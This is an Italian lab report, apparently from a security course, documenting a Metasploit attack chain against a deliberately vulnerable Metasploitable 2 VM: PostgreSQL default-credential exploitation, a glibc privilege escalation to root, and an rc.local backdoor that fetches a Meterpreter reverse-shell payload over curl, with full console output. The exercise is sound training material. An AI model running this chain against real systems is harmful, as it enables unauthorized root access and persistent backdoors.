

# REPORT S7/L3

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**Obiettivo:** Sfruttamento vulnerabilità PostgreSQL, Escalation dei privilegi e Persistenza.

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## 1. Accesso Iniziale (Exploitation)

L'obiettivo di questa prima fase è stato ottenere un accesso non autorizzato al sistema target (**Metasploitable 2**) sfruttando una configurazione errata nel servizio di database.

**Procedura:** È stato utilizzato il framework Metasploit. Dopo aver avviato la console, è stato selezionato il modulo exploit specifico per PostgreSQL.

- **Modulo utilizzato:** *exploit/linux/postgres/postgres\_payload*

```
msf exploit(linux/postgres/postgres_payload) > options
Module options (exploit/linux/postgres/postgres_payload):

  Name      Current Setting  Required  Description
  ---      -
VERBOSE    false           no        Enable verbose output

Used when connecting via an existing SESSION:

  Name      Current Setting  Required  Description
  ---      -
SESSION                    no        The session to run this module on

Used when making a new connection via RHOSTS:

  Name      Current Setting  Required  Description
  ---      -
DATABASE    postgres         no        The database to authenticate against
PASSWORD    postgres         no        The password for the specified username. Leave blank for a random password.
RHOSTS                      no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT       5432             no        The target port (TCP)
USERNAME    postgres         no        The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ---      -
LHOST                      yes        The listen address (an interface may be specified)
LPORT       4444             yes        The listen port

Exploit target:

  Id  Name
  --  --
  0    Linux x86

View the full module info with the info, or info -d command.
```

- **Configurazione:**

- **RHOSTS:** Impostato sull'IP della macchina vittima (192.168.50.101).
- **LHOST:** Impostato sull'IP della macchina attaccante (Kali Linux, 192.168.50.100).
- **LPORT:** Porta di ascolto (default 4444).

Lanciando l'attacco, il modulo ha sfruttato le credenziali di default del database per caricare una libreria condivisa ed eseguire il payload, aprendo con successo la **Sessione 1** come utente limitato **postgres**.

```
msf exploit(linux/postgres/postgres_payload) > exploit
[-] Msf::OptionValidateError A SESSION or RHOST must be provided
msf exploit(linux/postgres/postgres_payload) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf exploit(linux/postgres/postgres_payload) > exploit
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.101:5432 - 192.168.50.101:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] 192.168.50.101:5432 - Uploaded as /tmp/BouyviDD.so, should be cleaned up automatically
[*] Sending stage (1062760 bytes) to 192.168.50.101
[*] Meterpreter session 1 opened (192.168.50.100:4444 -> 192.168.50.101:50491) at 2026-01-21 15:04:58 +0100
meterpreter > |
```

```
meterpreter > getuid
Server username: postgres
```

## 2. Analisi Post-Exploitation (Recon)

Una volta ottenuto l'accesso limitato, è stato necessario analizzare il sistema per trovare vettori di attacco per l'escalation dei privilegi (diventare Root). Per fare ciò, è stato utilizzato un modulo di ricognizione locale.

- **Modulo utilizzato: *post/multi/recon/local\_exploit\_suggester***

```
msf exploit(linux/postgres/postgres_payload) > search type:post local_exploit_suggester

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  post/multi/recon/local_exploit_suggester .             normal No     Multi Recon Local Exploit Suggester

Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester
```

- **Target:** Collegato alla **Sessione 1** (utente postgres).

```
msf exploit(linux/postgres/postgres_payload) > use 0
msf post(multi/recon/local_exploit_suggester) > options

Module options (post/multi/recon/local_exploit_suggester):

Name           Current Setting  Required  Description
-  -
SESSION        false           yes       The session to run this module on
SHOWDESCRIPTION false           yes       Displays a detailed description for the available exploits

View the full module info with the info, or info -d command.

msf post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
```

- Il modulo ha identificato diverse vulnerabilità critiche. Tra queste, è stata scelta quella relativa alla libreria **glibc** ("The target appears to be vulnerable").

```
msf post(multi/recon/local_exploit_suggester) > run
[*] 192.168.50.101 - Collecting local exploits for x86/linux...
/usr/share/metasploit-framework/lib/rex/proto/ldap.rb:13: warning: already initialized constant Net::LDAP::WhoamiOid
/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/net-ldap-0.20.0/lib/net/ldap.rb:344: warning: previous definition of WhoamiOid was here
[*] 192.168.50.101 - 229 exploit checks are being tried...
[*] 192.168.50.101 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[*] 192.168.50.101 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[*] 192.168.50.101 - exploit/linux/local/netfilter_priv_esc_ipw4: The target appears to be vulnerable.
[*] 192.168.50.101 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but could not be validated.
[*] 192.168.50.101 - exploit/linux/local/su_login: The target appears to be vulnerable.
[*] 192.168.50.101 - exploit/linux/persistence/autostart: The service is running, but could not be validated. Xorg is installed, possible desktop install.
[*] 192.168.50.101 - exploit/multi/persistence/cron: The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
[*] 192.168.50.101 - exploit/unix/local/setuid_mmap: The target is vulnerable. /usr/bin/mmap is setuid

[*] 192.168.50.101 - Valid modules for session 1:

# Name Potentially Vulnerable? Check Result
- - -
1 exploit/linux/local/glibc_ld_audit_dso_load_priv_esc Yes The target appears to be vulnerable.
2 exploit/linux/local/glibc_origin_expansion_priv_esc Yes The target appears to be vulnerable.
3 exploit/linux/local/netfilter_priv_esc_ipw4 Yes The target appears to be vulnerable.
4 exploit/linux/local/ptrace_sudo_token_priv_esc Yes The service is running, but could not be validated.
5 exploit/linux/local/su_login Yes The target appears to be vulnerable.
6 exploit/linux/persistence/autostart Yes The service is running, but could not be validated. Xorg is installed, possible desktop install.
7 exploit/multi/persistence/cron Yes The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
8 exploit/unix/local/setuid_mmap Yes The target is vulnerable. /usr/bin/mmap is setuid
```

### 3. Escalation dei Privilegi (Root)

Sulla base dell'analisi precedente, è stato selezionato l'exploit **glibc\_ld\_audit\_dso\_load\_priv\_esc** per ottenere i diritti di amministratore.

- Modulo utilizzato:  
***exploit/linux/local/glibc\_ld\_audit\_dso\_load\_priv\_esc***
- Configurazione:
  - **SESSION:** 1
  - **PAYLOAD:** linux/x86/meterpreter/reverse\_tcp
  - **LPORT:** 4444

```
msf post(multi/recon/local_exploit_suggester) > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options

Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):

  Name          Current Setting  Required  Description
  --          -
SESSION        /bin/ping       yes       The session to run this module on
SUID_EXECUTABLE /bin/ping       yes       Path to a SUID executable

Payload options (linux/x86/meterpreter/reverse_tcp):

  Name    Current Setting  Required  Description
  --    -
LHOST    192.168.50.100  yes       The listen address (an interface may be specified)
LPORT    4444           yes       The listen port

Exploit target:

  Id  Name
  --  -
  0   Automatic

View the full module info with the info, or info -d command.

msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set SESSION 1
SESSION => 1
```

- **Esecuzione:** L'exploit ha compilato e caricato il codice malevolo nella cartella `/tmp`, eseguendolo con successo.
- **Risultato:** È stata aperta la **Meterpreter session 4**. Il comando `getuid` ha confermato l'identità `uid=0(root)`.

```
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run
[*] Started reverse TCP handler on 192.168.50.100:4444
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.zLHAFsW5ed' (1279 bytes) ...
[*] Writing '/tmp/.KC3i4a9o' (296 bytes) ...
[*] Writing '/tmp/.tKghx0E96w' (207 bytes) ...
[*] Launching exploit...
[*] Sending stage (1062760 bytes) to 192.168.50.101
[*] Meterpreter session 4 opened (192.168.50.100:4444 → 192.168.50.101:38865) at 2026-01-21 19:02:03 +0100

meterpreter > getuid
Server username: root
meterpreter > bg
[*] Backgrounding session 4...
```

## 4. Analisi per la Persistenza

Una volta ottenuto l'accesso Root (Sessione 4), è stato eseguito un secondo modulo di ricognizione specifico per trovare il metodo migliore per installare una backdoor persistente.

- **Modulo utilizzato:** `post/multi/recon/persistence_suggester`
- **Target:** Sessione 4 (Root)

```
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > search suggester

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	post/multi/recon/local_exploit_suggester	.	normal	No	Multi Recon Local Exploit Suggester
1	post/multi/recon/persistence_suggester	.	normal	No	Persistence Exploit Suggester

```
Interact with a module by name or index. For example info 1, use 1 or use post/multi/recon/persistence_suggester

msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > use 1
msf post(multi/recon/persistence_suggester) > set SESSION 4
SESSION => 4
msf post(multi/recon/persistence_suggester) > options

Module options (post/multi/recon/persistence_suggester):
```

Name	Current Setting	Required	Description
SESSION	4	yes	The session to run this module on
SHOWDESCRIPTION	false	yes	Displays a detailed description for the available exploits

```
View the full module info with the info, or info -d command.
```

- **Esito:** Il sistema ha suggerito diversi metodi, tra cui `exploit/linux/persistence/rc_local`, indicando che il file `/etc/rc.local` era scrivibile.

#	Name	Potentially Vulnerable?	Check Result
1	exploit/linux/persistence/apt_package_manager	Yes	The target appears to be vulnerable. /etc/apt/apt.conf.d/ and /tmp/ are writable
2	exploit/linux/persistence/autostart	Yes	The service is running, but could not be validated. Xorg is installed, possible
3	exploit/linux/persistence/bash_profile	Yes	The service is running, but could not be validated. Bash profile exists and is w
4	exploit/linux/persistence/init_sysvinit	Yes	The target appears to be vulnerable. /tmp/ is writable and system is System V ba
5	exploit/linux/persistence/init_upstart	Yes	The target appears to be vulnerable. /tmp/ is writable and system is upstart bas
6	exploit/linux/persistence/rc_local	Yes	The target appears to be vulnerable. /etc/rc.local is writable
7	exploit/multi/persistence/cron	Yes	The target appears to be vulnerable. Cron timing is valid, no cron.deny entries

## 5. Installazione Backdoor (Rc.local)

È stato scelto il metodo **rc.local** per garantire che la backdoor venga eseguita ad ogni avvio del sistema.

- Modulo utilizzato: **exploit/linux/persistence/rc\_local**

```
msf post(multi/recon/persistence_suggester) > use exploit/linux/persistence/rc_local
[*] Using configured payload cmd/linux/http/x86/meterpreter/reverse_tcp
```

- Configurazione:
  - **SESSION:** 4 (la sessione Root attiva)
  - **LPORT:** 4444

```
msf exploit(linux/persistence/rc_local) > options

Module options (exploit/linux/persistence/rc_local):

  Name          Current Setting  Required  Description
  PAYLOAD_NAME   4                no        Name of the payload file to write
  SESSION        4                yes       The session to run this module on

Payload options (cmd/linux/http/x86/meterpreter/reverse_tcp):

  Name          Current Setting  Required  Description
  FETCH_COMMAND  CURL             yes       Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP, WGET)
  FETCH_DELETE   false            yes       Attempt to delete the binary after execution
  FETCH_FILELESS none             yes       Attempt to run payload without touching disk by using anonymous handles
  FETCH_SRVHOST  192.168.50.100  no        Local IP to use for serving payload
  FETCH_SRVPORT  8080             yes       Local port to use for serving payload
  FETCH_URIPATH  192.168.50.100  no        Local URI to use for serving payload
  LHOST          192.168.50.100  yes       The listen address (an interface may be specified)
  LPORT          4444             yes       The listen port

When FETCH_COMMAND is one of CURL,GET,WGET:

  Name          Current Setting  Required  Description
  FETCH_PIPE     false            yes       Host both the binary payload and the command so it can be piped directly to

When FETCH_FILELESS is none:

  Name          Current Setting  Required  Description
  FETCH_FILENAME TjvYFXaxcfm     no        Name to use on remote system when storing payload; cannot contain spaces
  FETCH_WRITABLE_DIR ./               yes       Remote writable dir to store payload; cannot contain spaces

Exploit target:

  Id  Name
  --  --
  0    Automatic
```

- **Esecuzione:** Il modulo ha applicato la patch al file di avvio `/etc/rc.local`. Durante il processo, la connessione originale (Sessione 4) è caduta ("Died"), ma il sistema ha immediatamente ristabilito una nuova connessione automatica.
- **Risultato:** Si è aperta automaticamente la **Meterpreter session 5**, confermando che la persistenza è attiva e funzionante.

```
msf exploit(linux/persistence/rc_local) > sessions

Active sessions
=====
```

Id	Name	Type	Information	Connection
1		meterpreter x86/linux	postgres @ metasploitable.localdomain	192.168.50.100:4444 → 192.168.50.101:39286 (192.168.50.101)
4		meterpreter x86/linux	root @ metasploitable.localdomain	192.168.50.100:4444 → 192.168.50.101:38865 (192.168.50.101)

```
msf exploit(linux/persistence/rc_local) > [*] 192.168.50.101 - Meterpreter session 1 closed. Reason: Died
[*] 192.168.50.101 - Meterpreter session 4 closed. Reason: Died
[*] Sending stage (1062760 bytes) to 192.168.50.101
[*] Meterpreter session 5 opened (192.168.50.100:4444 → 192.168.50.101:35873) at 2026-01-21 19:11:52 +0100

msf exploit(linux/persistence/rc_local) > sessions

Active sessions
=====
```

Id	Name	Type	Information	Connection
5		meterpreter x86/linux	root @ metasploitable.localdomain	192.168.50.100:4444 → 192.168.50.101:35873 (192.168.50.101)

## 6. Verifica Accesso Futuro (Multi Handler)

Per dimostrare la capacità di rientrare nel sistema in un secondo momento, è stato configurato manualmente un listener.

- **Modulo utilizzato:** `exploit/multi/handler`
- **Configurazione Payload:** `linux/x86/meterpreter/reverse_tcp`

```
msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set payload cmd/linux/http/x86/meterpreter/reverse_tcp
payload => cmd/linux/http/x86/meterpreter/reverse_tcp
```

- **Esito:** Il listener ha intercettato correttamente la connessione in entrata dalla macchina vittima, aprendo una nuova sessione meterpreter come **root**.

```
msf exploit(multi/handler) > set LHOST 192.168.50.100
LHOST => 192.168.50.100
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] Sending stage (1062760 bytes) to 192.168.50.101
[*] Meterpreter session 1 opened (192.168.50.100:4444 → 192.168.50.101:42055) at 2026-01-21 19:24:41 +0100

meterpreter > getuid
Server username: root
meterpreter > █
```

**Conclusioni:** L'esercitazione ha dimostrato con successo l'intero ciclo di attacco: accesso iniziale tramite PostgreSQL, escalation a Root sfruttando una vulnerabilità nella libreria GLIBC e installazione di una persistenza efficace tramite i file di avvio del sistema.